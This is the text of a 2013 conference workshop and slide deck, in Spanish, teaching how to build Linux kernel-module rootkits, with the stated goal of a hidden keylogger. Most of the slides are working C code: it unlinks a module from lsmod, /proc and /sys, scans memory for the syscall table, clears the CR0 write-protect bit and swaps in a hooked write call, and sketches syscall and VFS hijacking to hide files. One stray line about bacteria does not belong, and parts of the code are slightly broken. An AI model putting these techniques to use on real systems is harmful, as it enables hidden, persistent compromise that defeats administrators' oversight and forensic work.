En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
1. Building Basics Rootkits
Building Basics Rootkits
Attack Strategies
NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio
18 de Abril de 2013
2. Building Basics Rootkits
Contents
1 Introducci´on
¿Qu´e es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 T´opicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
3. Building Basics Rootkits
Introducci´on
¿Qu´e es un Rootkit?
¿Qu´e es un Rootkit?
Un rootkit (seg´un Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
4. Building Basics Rootkits
Introducci´on
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
5. Building Basics Rootkits
Introducci´on
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
6. Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o
espacio usuario son:
El kernel carece de protecci´on de memoria... algo que se
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´enfasis al
desarrollar (Race-Conditions).
La portabilidad... entre versi´on y versi´on de n´ucleo.
7. Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
8. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
9. Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro m´odulo
insmod modulo.ko
Listamos nuestro m´odulo
lsmod | grep modulo
Eliminamos nuestro m´odulo
rmmod modulo.ko
10. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los par´ametros se mandan cuando arrancamos el m´odulo de la
forma:
insmod modulo param1=valor1 param2=valor2
Para definir los par´ametros, primero declaramos variables y las
pasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas del
modulo en /sys/module
11. Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
12. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
13. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas
(task struct), la cual es una lista doblemente enlazada ¿A´un
recuerdan sus clases de programaci´on? Para acceder a la estructura
que contiene informaci´on sobre nuestro proceso, basta con hacer
uso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i n", current->comm, current->pid);
return 0;
}
14. Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los c´odigos anteriores... Recorran la lista de tareas y pinten
cada proceso y su PID. Con este acceso pueden intentar esconder
un proceso tambi´en:
15. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´odulos que est´an cargados (lsmod y
/proc leen dicha lista).
Esconder nuestro m´odulo es muy sencillo, en la funci´on de
inicio del m´odulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´on:
1 A´un somos detectables desde /sys
2 Al hacer un unload del m´odulo, debido a que no existe en la
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
16. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.n");
printk(KERN_ALERT "Let’s get hide myself.n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
17. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´odigo del kernel, vemos que en la descarga del
m´odulo, primero debemos eliminarnos de /sys y
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´en iniciados a NULL
Recomendaciones:
1 Recordar informaci´on previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
18. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el m´odulo
19. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direcci´on de la sys call table, puede ser encontrada en el archivo
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se
exporten, sys close por ejemplo.
20. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
21. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´es del
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
22. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
23. Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
25. Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden
26. Building Basics Rootkits
The End
Thanks
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
E-Mail: natas@ohkasystems.com
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
LATEX para todos